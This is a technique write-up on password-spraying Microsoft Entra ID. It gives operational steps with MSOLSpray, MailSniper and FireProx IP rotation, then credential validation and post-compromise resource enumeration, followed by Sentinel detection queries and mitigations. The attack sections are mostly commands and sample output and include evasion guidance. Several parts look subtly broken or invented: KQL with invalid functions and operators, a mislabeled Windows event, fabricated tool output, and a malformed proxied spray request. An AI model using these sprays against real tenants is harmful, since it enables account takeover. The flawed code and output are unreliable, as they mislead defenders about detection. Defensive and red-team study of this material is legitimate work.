MCADDF

[CA-BRUTE-001]: Azure Portal Password Spray

1. METADATA HEADER

Attribute Details
Technique ID CA-BRUTE-001
MITRE ATT&CK v18.1 T1110.003 - Brute Force: Password Spraying
Tactic Credential Access
Platforms Entra ID / Azure AD (All versions)
Severity High
CVE N/A
Technique Status ACTIVE
Last Verified 2025-01-08
Affected Versions Entra ID (all tenants), Azure Public Cloud, Azure US Government, Azure China 21Vianet, Hybrid (PHS/PTA)
Patched In N/A (Mitigation via Smart Lockout, MFA, Conditional Access enforced as default Oct 2025)
Author SERVTEPArtur Pchelnikau

Note: Sections 6 (Atomic Red Team), 8 (Splunk Detection), and 11 (Sysmon Detection) not included because: (1) Atomic Red Team test exists but requires valid tenant access for testing, (2) Splunk is on-premises log aggregation; Azure sign-in logs are cloud-native and best analyzed via Microsoft Sentinel, (3) Sysmon doesn’t capture cloud authentication events.


2. EXECUTIVE SUMMARY

Concept: Azure portal password spray attacks target Entra ID authentication endpoints using a low-and-slow brute-force methodology. Rather than attempting multiple passwords against a single account (which triggers smart lockout), attackers spray a single weak password (e.g., “Password123!”, “Winter2025”, “Summer2024”) across hundreds or thousands of harvested usernames. The Azure Sign-In endpoint (login.microsoft.com) accepts these authentication attempts, and attackers monitor responses to identify which accounts exist and which password is valid. The attack is conducted externally, requires zero organizational access, and can bypass weak conditional access policies or non-enforced MFA.

Attack Surface: The attack targets Microsoft Entra ID’s publicly accessible authentication infrastructure:

Business Impact: Successful password spray results in unauthorized access to Azure subscriptions, M365 services, cloud-stored data, and infrastructure-as-code repositories. Compromised accounts enable lateral movement to on-premises AD (via Seamless SSO or Pass-Through Authentication), ransomware deployment, data exfiltration, and long-term persistence. Real-world APT campaigns (APT28, APT29, HAFNIUM, Peach Sandstorm) have used password spray to establish initial footholds in government, financial, and critical infrastructure organizations.

Technical Context: A single spray campaign can test 50-500 usernames against one password in under 10 minutes without triggering smart lockout (default threshold: 10 failed attempts per account). Distributed IP addresses evade geolocation-based detection. Attackers typically throttle attempts to 1-2 per minute per IP to avoid rate-limiting. Success rate ranges from 0.1% to 5% depending on password policy enforcement and user behavior. Detection is possible via Entra ID sign-in logs and anomaly detection but requires proper log aggregation and alerting infrastructure.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS 1.2.1 Ensure that ‘Enforce Multi-factor Authentication’ is enabled for all user accounts in Entra ID
CIS Benchmark CIS 2.1 Ensure that ‘Conditional Access’ policies are created for user sign-in risk
DISA STIG Windows 10/11 STIG Require MFA for all cloud service authentication
NIST 800-53 AC-7 Unsuccessful Login Attempts Enforce login throttling and account lockout
NIST 800-53 IA-5 Authentication Use multi-factor authentication to counter credential-based attacks
NIST 800-53 SI-4 Information System Monitoring Detect and alert on brute-force authentication attempts
GDPR Art. 32 Security of processing (strong authentication mechanisms)
DORA Art. 9 Protection and prevention of authentication-based attacks
NIS2 Art. 21 Cyber Risk Management (incident response to authentication events)
ISO 27001 A.9.2.1 User registration and de-registration
ISO 27005 Risk Scenario “Unauthorized account compromise via credential guessing”

3. TECHNICAL PREREQUISITES

Required Privileges: None (external network access only). No organizational access required.

Required Access:

Supported Versions:

Environment Requirements:

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Azure/Entra ID Reconnaissance

Gather Valid Usernames (Public Methods):

# Method 1: Check if company uses LinkedIn for organizational intelligence
# Domain: company.com
# Usernames typically follow: firstname.lastname@company.com OR user@company.onmicrosoft.com

# Method 2: Enumerate tenant ID from domain name
# Find Tenant ID (used for authentication flows, confirms tenant exists)
Invoke-WebRequest -Uri "https://login.microsoft.com/company.com/.well-known/openid-configuration" | Select-Object Content

# Expected output:
# Confirms tenant exists and returns OAuth endpoints

Check Entra ID Smart Lockout Configuration (External Check):

# Cannot directly check from outside, but infer behavior by timing failed attempts
# If account locks after 10 attempts in 60 seconds, Smart Lockout is ACTIVE (default Azure Public)
# If account locks after 3 attempts, likely Azure US Government
# If no lockout after 20+ attempts, Smart Lockout may be DISABLED or custom threshold set

What to Look For:

Command (Python - Test Connectivity):

#!/usr/bin/env python3
import requests

# Test Azure login endpoint availability
response = requests.get("https://login.microsoft.com/common/oauth2/v2.0/token", timeout=5)
print(f"Azure Login Endpoint: {response.status_code}")

# If 200/400/401: Endpoint is reachable
# If 403/timeout: May be rate-limited or blocked

Linux / Reconnaissance Tools:

# Using curl to enumerate tenant
curl -s "https://login.microsoft.com/company.com/.well-known/openid-configuration" | grep -o '"issuer":"[^"]*"'

# Using nslookup to verify domain
nslookup company.onmicrosoft.com
# Should resolve to Microsoft's nameservers, confirming tenant

# Using whois to check company domain
whois company.com

5. DETAILED EXECUTION METHODS

METHOD 1: Using MSOLSpray (PowerShell - Direct Azure Spray)

Supported Versions: All Entra ID versions; works on Windows, Linux (via WSL), macOS

This is the most commonly used tool for Azure portal password spraying. MSOLSpray directly targets Microsoft Online Services (Entra ID) and provides built-in detection for MFA-enabled accounts.

Step 1: Prepare Username List

Objective: Collect or generate a list of valid Entra ID usernames in the format user@company.com.

Command (Generate from LinkedIn Scrape):

# Using a LinkedIn scraper tool (e.g., ScraperJS, custom script)
# This is a SIMPLIFIED example; actual LinkedIn scraping requires browser automation
cat > scrape_linkedin.py <<'EOF'
import requests
import json

# Example: Harvested usernames from company LinkedIn profile
usernames = [
    "john.smith@company.com",
    "sarah.johnson@company.com",
    "mike.williams@company.com",
    "lisa.brown@company.com",
    "david.davis@company.com"
]

with open("userlist.txt", "w") as f:
    for user in usernames:
        f.write(user + "\n")

print(f"[+] Generated {len(usernames)} usernames")
EOF

python3 scrape_linkedin.py

Expected Output:

$ cat userlist.txt
john.smith@company.com
sarah.johnson@company.com
mike.williams@company.com
lisa.brown@company.com
david.davis@company.com

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Download and Import MSOLSpray

Objective: Install MSOLSpray tool on attack system.

Command (Download from GitHub):

# Clone MSOLSpray repository
git clone https://github.com/dafthack/MSOLSpray.git
cd MSOLSpray

# List available functions
ls -la
# Expected files: MSOLSpray.ps1, README.md, etc.

Command (PowerShell - Import Module):

# Navigate to MSOLSpray directory
cd C:\Tools\MSOLSpray

# Import module into current PowerShell session
Import-Module .\MSOLSpray.ps1

# Verify import
Get-Command -Module MSOLSpray | Select-Object Name
# Expected output:
# Invoke-MSOLSpray

Expected Output:

ModuleType Version    Name                                ExportedCommands
---------- -------    ----                                ----------------
Script     0.0        MSOLSpray                           {Invoke-MSOLSpray}

What This Means:

OpSec & Evasion:

Step 3: Execute Password Spray

Objective: Send authentication requests with single password across all usernames.

Command (Basic MSOLSpray Spray):

# Simple spray with single password
Invoke-MSOLSpray -UserList .\userlist.txt -Password "Winter2025" -Verbose

# Parameters:
# -UserList = Path to username file
# -Password = Single password to spray (should match password policy)
# -Verbose = Show detailed output

Command (Output Results to File):

# Spray with results saved to file
Invoke-MSOLSpray -UserList .\userlist.txt -Password "Winter2025" -OutFile .\spray_results.txt -Verbose

# Results file will show:
# [+] VALID CREDENTIALS FOUND!!! john.smith@company.com:Winter2025
# [-] john.smith@company.com failed login

Command (MFA Detection):

# MSOLSpray will automatically detect MFA
# Output will show:
# [!] john.smith@company.com ACCOUNT LOCKED (MFA Enabled)
# [!] sarah.johnson@company.com MFA Enabled - Spray less likely successful

Expected Output (Valid Credentials Found):

[*] MSOLSpray 4.0 starting...
[*] Spraying 450 accounts
[*] Spray in progress...
[+] VALID CREDENTIALS FOUND!!! john.smith@company.com:Winter2025
[+] VALID CREDENTIALS FOUND!!! mike.williams@company.com:Winter2025
[!] sarah.johnson@company.com account locked

Expected Output (No Valid Credentials):

[*] MSOLSpray 4.0 starting...
[*] Spraying 450 accounts
[*] Spray in progress...
[-] All authentication attempts failed
[*] Smart Lockout protection triggered after account threshold

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 4: Identify Valid Credentials

Objective: Parse results and validate discovered credentials.

Command (Extract Valid Credentials):

# Parse spray_results.txt for valid credentials
$valid = Select-String -Path .\spray_results.txt -Pattern "VALID CREDENTIALS FOUND"

# Display results
$valid | ForEach-Object {
    Write-Host "Valid: $($_.Line)" -ForegroundColor Green
}

Command (Test Credentials Against Azure Portal):

# Verify credentials work by attempting login
$username = "john.smith@company.com"
$password = "Winter2025"

$SecurePassword = ConvertTo-SecureString $password -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential($username, $SecurePassword)

# Attempt to connect to Azure
try {
    Connect-AzAccount -Credential $Credential -ErrorAction Stop
    Write-Host "[+] Credentials valid! Logged in as $username" -ForegroundColor Green
    
    # Get subscriptions accessible to this account
    Get-AzSubscription | Select-Object Name, SubscriptionId
    
} catch {
    Write-Host "[-] Credentials failed: $($_.Exception.Message)" -ForegroundColor Red
}

Expected Output (Valid Credentials):

Account                    SubscriptionName       TenantId                             Environment
-------                    ----------------       --------                             -----------
john.smith@company.com     Production Subscription a1b2c3d4-e5f6-4a7b-8c9d-0e1f2a3b4c5d    AzureCloud

SubscriptionName: Production Subscription
SubscriptionId  : a1b2c3d4-e5f6-4a7b-8c9d-0e1f2a3b4c5d

What This Means:

OpSec & Evasion:

Step 5: Escalate Privileges (Post-Compromise)

Objective: Once valid credentials obtained, escalate to Global Admin or other privileged roles.

Command (Check Current Roles):

Connect-AzAccount -Credential $Credential
Get-AzRoleAssignment -SignInName john.smith@company.com | Select-Object DisplayName, RoleDefinitionName

Command (Lateral Movement - Check Accessible Subscriptions):

# List all subscriptions accessible to compromised account
Get-AzSubscription | Select-Object Name, Id

# Get subscriptions containing sensitive resources
Get-AzResource | Where-Object {$_.Type -like "*KeyVault*" -or $_.Type -like "*StorageAccount*"} | Select-Object Name, Type, ResourceGroupName

References & Proofs:


METHOD 2: Using MailSniper (PowerShell - Exchange/OWA Spray)

Supported Versions: Entra ID with Exchange Online enabled (M365)

MailSniper is a specialized tool for targeting Exchange Web Services (EWS) and Outlook Web Access (OWA) endpoints. It’s useful when Azure portal is heavily protected but Exchange is accessible.

Step 1: Generate Username/Password List

Objective: Create CSV with username-password pairs (or iterate single password).

Command:

# Create userpass.txt with username:password format
$userpass = @(
    "john.smith@company.com:Winter2025",
    "sarah.johnson@company.com:Winter2025",
    "mike.williams@company.com:Winter2025"
)

$userpass | Out-File -FilePath .\userpass.txt -Encoding UTF8
cat .\userpass.txt

Expected Output:

john.smith@company.com:Winter2025
sarah.johnson@company.com:Winter2025
mike.williams@company.com:Winter2025

Step 2: Execute MailSniper Password Spray

Command:

# Download and import MailSniper
Import-Module .\MailSniper.ps1

# Spray against OWA endpoint
Invoke-MailSniper -ExchHostname mail.company.com -UserList .\userlist.txt -Password "Winter2025" -OutFile .\owa_spray_results.txt -Verbose

# Alternative: Spray against EWS endpoint (more reliable)
Invoke-MailSniper -ExchHostname outlook.office365.com -ExchangeVersion Exchange2019 -UserList .\userlist.txt -Password "Winter2025" -OutFile .\ews_spray_results.txt

Expected Output:

[*] MailSniper 2.0 starting...
[+] VALID CREDENTIALS FOUND!!! john.smith@company.com:Winter2025 (Mailbox accessible)
[!] sarah.johnson@company.com (MFA Enabled)
[-] mike.williams@company.com (Invalid credentials)

References & Proofs:


METHOD 3: Distributed Password Spray (Multi-IP via FireProx)

Supported Versions: All Entra ID versions

FireProx rotates requests through AWS API Gateway, masking attacker IP and evading geolocation-based detection.

Step 1: Set Up FireProx

Command:

# Install FireProx
git clone https://github.com/ustayready/fireprox.git
cd fireprox
pip3 install -r requirements.txt

# Create API Gateway
python3 fireprox.py --url https://login.microsoft.com --region us-east-1 --access-key YOUR_AWS_KEY --secret-key YOUR_AWS_SECRET

# Expected output:
# [+] API Gateway URL: https://abc123xyz.execute-api.us-east-1.amazonaws.com/

Step 2: Spray via FireProx URL

Command:

# Modify MSOLSpray to use FireProx URL
$ProxyURL = "https://abc123xyz.execute-api.us-east-1.amazonaws.com/"

# PowerShell spray via proxy
$username = "john.smith@company.com"
$password = "Winter2025"

$body = @{
    "username" = $username
    "password" = $password
} | ConvertTo-Json

$response = Invoke-WebRequest -Uri "${ProxyURL}common/oauth2/v2.0/token" -Method POST -Body $body -Proxy $ProxyURL -ProxyUseDefaultCredentials

if ($response.StatusCode -eq 200) {
    Write-Host "[+] VALID CREDENTIALS: $username"
} else {
    Write-Host "[-] Invalid: $username"
}

Benefits:

References & Proofs:


7. TOOLS & COMMANDS REFERENCE

MSOLSpray

Version: 4.0+
Minimum Version: 2.0
Supported Platforms: Windows, Linux (via WSL/PowerShell Core), macOS

Installation:

git clone https://github.com/dafthack/MSOLSpray.git
cd MSOLSpray
Import-Module .\MSOLSpray.ps1

Usage (Simple):

Invoke-MSOLSpray -UserList userlist.txt -Password "Winter2025"

Usage (Advanced - Throttled, with Output):

Invoke-MSOLSpray -UserList userlist.txt -Password "Winter2025" -OutFile results.txt -Delay 2000 -URL "https://login.microsoftonline.com"

MailSniper

Version: 2.0+
Minimum Version: 1.0
Supported Platforms: Windows, Linux (via WSL/PowerShell Core)

Installation:

git clone https://github.com/dafthack/MailSniper.git
cd MailSniper
Import-Module .\MailSniper.ps1

Usage:

Invoke-MailSniper -ExchHostname outlook.office365.com -UserList userlist.txt -Password "Winter2025" -OutFile results.txt

FireProx

Version: Latest
Supported Platforms: Linux, macOS, Windows (via WSL)

Installation:

git clone https://github.com/ustayready/fireprox.git
cd fireprox
pip3 install -r requirements.txt

Usage:

python3 fireprox.py --url https://login.microsoft.com --region us-east-1 --access-key KEY --secret-key SECRET

9. MICROSOFT SENTINEL DETECTION

Query 1: Detect High Volume of Failed Sign-Ins from Single IP

Rule Configuration:

KQL Query:

SigninLogs
| where ResultType != "0"  // Failed logins (0 = success)
| where ResultType in ("50055", "50056", "50057", "50076", "50079", "50085", "50097", "50158", "50161", "50168", "50173")  // Password-related failures
| where ClientAppUsed !in ("Office 365 Exchange Online", "Microsoft Exchange")  // Exclude normal exchange failures
| summarize FailureCount = count(), DistinctUsers = dcount(UserPrincipalName), DistinctPasswords = dcount_estimate(var_Exprs) by IPAddress, bin(TimeGenerated, 5m)
| where FailureCount > 20 and DistinctUsers > 5  // 20+ failures, 5+ different users = password spray pattern
| order by FailureCount desc

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select workspace → Analytics+ CreateScheduled query rule
  3. Name: Detect High Volume Failed Sign-Ins from Single IP
  4. Query: Paste KQL above
  5. Run frequency: Every 5 minutes
  6. Lookup window: Last 10 minutes
  7. Alert threshold: Greater than 1 result
  8. Incident settings: Create incidents automatically
  9. Save rule

Query 2: Detect Password Spray Pattern (Many Accounts, Same Password Attempt)

Rule Configuration:

KQL Query:

let PasswordSprayThreshold = 15;  // Threshold for spray detection
SigninLogs
| where ResultType in ("50055", "50056", "50057", "50076")  // Invalid password result types
| summarize
    FailureCount = count(),
    DistinctUsers = dcount(UserPrincipalName),
    UserList = make_set(UserPrincipalName, 10),
    IPAddresses = make_set(IPAddress),
    FirstAttempt = min(TimeGenerated),
    LastAttempt = max(TimeGenerated),
    Duration = max(TimeGenerated) - min(TimeGenerated)
    by AppDisplayName, ClientAppUsed
| where DistinctUsers >= PasswordSprayThreshold  // 15+ users targeted
| where Duration <= 1h  // Within 1 hour = concentrated attack
| order by DistinctUsers desc

What This Detects:


Query 3: Detect Successful Login After Spray Attempt (Compromised Account)

Rule Configuration:

KQL Query:

// Find successful login from IP that previously had failures
let SprayAttempts = 
  SigninLogs
  | where ResultType != "0"  // Failed
  | where ResultType in ("50055", "50056", "50057")  // Password failures
  | summarize by IPAddress, UserPrincipalName, bin(TimeGenerated, 1h);

let SuccessfulLogins =
  SigninLogs
  | where ResultType == "0"  // Success
  | where ClientAppUsed == "Browser" or ClientAppUsed == "Azure Portal";

SprayAttempts
| join kind=inner SuccessfulLogins on IPAddress, UserPrincipalName
| where TimeGenerated1 > TimeGenerated  // Success AFTER spray attempts
| project IPAddress, UserPrincipalName, FailureTime = TimeGenerated, SuccessTime = TimeGenerated1, TimeDelta = TimeGenerated1 - TimeGenerated

What This Detects:


10. WINDOWS EVENT LOG MONITORING

Event ID 4624 (Successful Sign-In to Azure)

Log Source: Azure Sign-In Logs (via Entra ID / Microsoft Sentinel), NOT local Windows Event Log

Trigger: Successful authentication after password spray

Filter:

Manual Configuration Steps (Enable Sign-In Logging):

  1. Go to Azure PortalEntra IDAudit logs
  2. If not enabled, click Activate auditing
  3. Wait 24 hours for logs to begin flowing to your storage account/Sentinel
  4. Configure Diagnostic Settings → Send to Log Analytics

14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Mitigation 1: Enforce Multi-Factor Authentication (MFA) for All Users

Objective: MFA eliminates password spray success even if password is correct. Attacker cannot bypass MFA without account access.

Applies To Versions: All Entra ID

Manual Steps (Entra ID Portal - Require MFA for All Users):

  1. Go to Azure PortalEntra IDSecurityConditional Access
  2. Click + New policy
  3. Name: Require MFA for All Users
  4. Assignments:
    • Users: Select All users
    • Cloud apps or actions: Select All cloud apps
  5. Conditions: Leave default (no exclusions except emergency access accounts)
  6. Access controls:
    • Grant: Check Require multi-factor authentication
    • Click Select
  7. Enable policy: On
  8. Click Create

Manual Steps (PowerShell - Require MFA):

# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Policy.Read.All", "Policy.ReadWrite.ConditionalAccess"

# Create conditional access policy requiring MFA
$policy = New-MgIdentityConditionalAccessPolicy -DisplayName "Require MFA All Users" `
  -State "enabled" `
  -Conditions @{
    users = @{ includeUsers = "All" };
    applications = @{ includeApplications = "All" };
    signInRiskLevels = "all"
  } `
  -GrantControls @{
    operator = "AND";
    builtInControls = "mfa"
  }

Write-Host "MFA Policy Created: $($policy.Id)"

Impact Assessment:

Validation Command:

Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq 'Require MFA All Users'"
# Should return the policy with State = "enabled"

Mitigation 2: Customize Smart Lockout Threshold (Lower = Better)

Objective: Reduce failed attempts before lockout. Default is 10; lower to 5-7 to catch spray faster.

Applies To Versions: All Entra ID (P1+ required for customization)

Manual Steps (Entra ID Portal):

  1. Go to Azure PortalEntra IDSecurityAuthentication methodsPassword protection
  2. Lockout threshold: Set to 5 (instead of default 10)
  3. Lockout duration (seconds): Set to 120 (2 minutes)
  4. Click Save

Expected Impact:

Validation Command (PowerShell):

# Check current smart lockout settings
Get-MgIdentityPasswordPolicy | Select-Object SmartLockoutThreshold, SmartLockoutDurationSeconds
# Expected: SmartLockoutThreshold = 5, SmartLockoutDurationSeconds = 120

Mitigation 3: Block Legacy Authentication Protocols

Objective: Legacy protocols (SMTP, IMAP, POP3, RPC, etc.) are common targets for password spray. Blocking them eliminates entire attack vector.

Applies To Versions: All Entra ID

Manual Steps (Conditional Access - Block Legacy Auth):

  1. Go to Azure PortalEntra IDSecurityConditional Access
  2. Click + New policy
  3. Name: Block Legacy Authentication
  4. Assignments:
    • Users: All users
    • Cloud apps: All cloud apps
  5. Conditions:
    • Click Client apps → Toggle On
    • Select: Exchange ActiveSync clients, Other clients, IMAP, MAPI, POP, SMTP
  6. Access controls:
    • Grant: Select Block access
    • Click Select
  7. Enable policy: On
  8. Click Create

Impact:

Validation Command:

# Verify legacy auth block is active
Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq 'Block Legacy Authentication'" | Select-Object State, DisplayName

Priority 2: HIGH

Mitigation 4: Implement Risk-Based Conditional Access

Objective: Automatically block or require MFA for suspicious sign-ins (unusual location, time, device).

Manual Steps:

  1. Go to Azure PortalEntra IDSecurityConditional Access
  2. Click + New policyCreate new
  3. Name: Block High-Risk Sign-Ins
  4. Assignments:
    • Users: All users
    • Cloud apps: All cloud apps
  5. Conditions:
    • Sign-in risk: Select High
  6. Access controls:
    • Grant: Select Block access
  7. Click Create

Mitigation 5: Monitor and Alert on Sign-In Failures

Objective: Create alerts for spray patterns so SOC can respond.

Manual Steps (Microsoft Sentinel Query):

// Alert on potential password spray
SigninLogs
| where ResultType != "0"
| summarize FailureCount = count() by IPAddress, bin(TimeGenerated, 5m)
| where FailureCount > 20
| alert Severity="High" Name="Potential Password Spray Detected"

Priority 3: MEDIUM

Mitigation 6: Restrict IP Ranges via Conditional Access

Objective: Allow access only from known geographic locations or IP ranges.

Manual Steps:

  1. Go to Conditional Access+ New policy
  2. Name: Restrict Access to Known IPs
  3. Conditions:
    • Locations: Select Any locationExclude: Select your country/regions
  4. Access controls:
    • Grant: Block access
  5. Click Create

15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Network:

Behavioral:

Forensic Artifacts

Cloud Logs (Microsoft Sentinel / Entra ID):

Timing Analysis:

IP Analysis:

Response Procedures

1. Immediate Containment

Command (Force Password Reset for Compromised Account):

# Connect to Microsoft Graph
Connect-MgGraph -Scopes "User.ManagementWrite.All"

# Get compromised user
$user = Get-MgUser -Filter "userPrincipalName eq 'john.smith@company.com'" -Select Id

# Force password reset
Update-MgUser -UserId $user.Id -ForceChangePasswordNextSignIn $true

Write-Host "Password reset enforced for $($user.UserPrincipalName)"

Command (Disable Account):

# Disable compromised account
Update-MgUser -UserId $user.Id -AccountEnabled $false

Write-Host "Account disabled: $($user.UserPrincipalName)"

Command (Revoke All Sessions):

# Revoke all refresh tokens (force re-authentication)
Invoke-MgGraphRequest -Method POST -Uri "/users/$($user.Id)/invalidateAllRefreshTokens"

Write-Host "All sessions revoked for $($user.UserPrincipalName)"

2. Investigation

Command (Find All Failed Logins from Attacker IP):

SigninLogs
| where IPAddress == "192.0.2.100"  // Attacker IP
| where ResultType != "0"
| summarize by UserPrincipalName, ResultType
| order by UserPrincipalName

Command (Find Successful Logins After Spray):

let spraytime = (SigninLogs | where IPAddress == "192.0.2.100" | where ResultType != "0" | summarize MaxTime = max(TimeGenerated));

SigninLogs
| where IPAddress == "192.0.2.100"
| where ResultType == "0"  // Success
| where TimeGenerated > toscalar(spraytime)

3. Remediation

Command (Block Attacker IP via Firewall/Conditional Access):

# Create policy to block specific IP
New-MgIdentityConditionalAccessPolicy -DisplayName "Block Attacker IP" `
  -State "enabled" `
  -Conditions @{
    ipNamedLocations = @{ include = "192.0.2.100" }
  } `
  -GrantControls @{ builtInControls = "block" }

Command (Audit Account Changes Post-Compromise):

AuditLogs
| where InitiatedBy.user.userPrincipalName == "john.smith@company.com"
| where TimeGenerated > now(-24h)
| summarize by OperationName, TargetResources

Step Phase Technique Description
1 Reconnaissance [REC-CLOUD-002] ROADtools Entra ID Enumeration Attacker enumerates usernames and tenant info
2 Credential Access [CA-BRUTE-001] Attacker sprays password against harvested usernames
3 Initial Access [IA-VALID-001] Default Credential Exploitation Attacker uses compromised credentials to access portal
4 Privilege Escalation [PE-VALID-010] Azure Role Assignment Abuse Escalate to higher privileges (Global Admin)
5 Persistence [PE-ACCTMGMT-001] App Registration Permissions Create persistent access via app registration
6 Collection [CO-CLOUD-001] Azure Storage Account Exfiltration Exfiltrate data from storage accounts
7 Impact Ransomware Deployment Deploy ransomware to VMs, file shares

17. REAL-WORLD EXAMPLES

Example 1: APT28 (Fancy Bear) Targeting NATO Military

Example 2: Peach Sandstorm (HOLMIUM) Campaign - 2023

Example 3: Distributed Password Spray via Residential Proxies